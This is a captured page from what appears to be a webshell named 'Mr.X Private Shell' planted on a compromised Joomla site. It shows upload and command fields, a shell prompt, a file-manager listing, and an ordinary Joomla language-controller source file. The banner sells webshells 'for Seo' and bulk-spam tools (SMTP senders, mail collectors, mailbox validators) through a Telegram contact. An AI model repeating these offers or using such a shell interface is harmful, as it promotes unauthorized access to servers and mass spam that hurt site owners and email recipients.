__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Administrator\Controller;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Languages Controller.
 *
 * @since  1.5
 */
class InstalledController extends BaseController
{
    /**
     * Task to set the default language.
     *
     * @return  void
     */
    public function setDefault()
    {
        // Check for request forgeries.
        $this->checkToken();

        $cid   = (string) $this->input->get('cid', '', 'string');
        $model = $this->getModel('installed');

        if ($model->publish($cid)) {
            // Switching to the new administrator language for the message
            if ($model->getState('client_id') == 1) {
                $language = Factory::getLanguage();
                $newLang = Language::getInstance($cid);
                Factory::$language = $newLang;
                $this->app->loadLanguage($language = $newLang);
                $newLang->load('com_languages', JPATH_ADMINISTRATOR);
            }

            if (Multilanguage::isEnabled() && $model->getState('client_id') == 0) {
                $msg = Text::_('COM_LANGUAGES_MSG_DEFAULT_MULTILANG_SAVED');
                $type = 'message';
            } else {
                $msg = Text::_('COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED');
                $type = 'message';
            }
        } else {
            $msg = $model->getError();
            $type = 'error';
        }

        $clientId = $model->getState('client_id');
        $this->setRedirect('index.php?option=com_languages&view=installed&client=' . $clientId, $msg, $type);
    }

    /**
     * Task to switch the administrator language.
     *
     * @return  void
     */
    public function switchAdminLanguage()
    {
        // Check for request forgeries.
        $this->checkToken();

        $cid   = (string) $this->input->get('cid', '', 'string');
        $model = $this->getModel('installed');

        // Fetching the language name from the langmetadata.xml or xx-XX.xml respectively.
        $file = JPATH_ADMINISTRATOR . '/language/' . $cid . '/langmetadata.xml';

        if (!is_file($file)) {
            $file = JPATH_ADMINISTRATOR . '/language/' . $cid . '/' . $cid . '.xml';
        }

        $info = LanguageHelper::parseXMLLanguageFile($file);

        if ($model->switchAdminLanguage($cid)) {
            // Switching to the new language for the message
            $languageName = $info['nativeName'];
            $language = Factory::getLanguage();
            $newLang = Language::getInstance($cid);
            Factory::$language = $newLang;
            $this->app->loadLanguage($language = $newLang);
            $newLang->load('com_languages', JPATH_ADMINISTRATOR);

            $msg = Text::sprintf('COM_LANGUAGES_MSG_SWITCH_ADMIN_LANGUAGE_SUCCESS', $languageName);
            $type = 'message';
        } else {
            $msg = $model->getError();
            $type = 'error';
        }

        $this->setRedirect('index.php?option=com_languages&view=installed', $msg, $type);
    }
}

Filemanager

Name Type Size Permission Actions
DisplayController.php File 1.92 KB 0664
InstalledController.php File 3.47 KB 0664
LanguageController.php File 1.04 KB 0664
LanguagesController.php File 1.08 KB 0664
OverrideController.php File 6.73 KB 0664
OverridesController.php File 2.3 KB 0664
StringsController.php File 1.08 KB 0664
Filemanager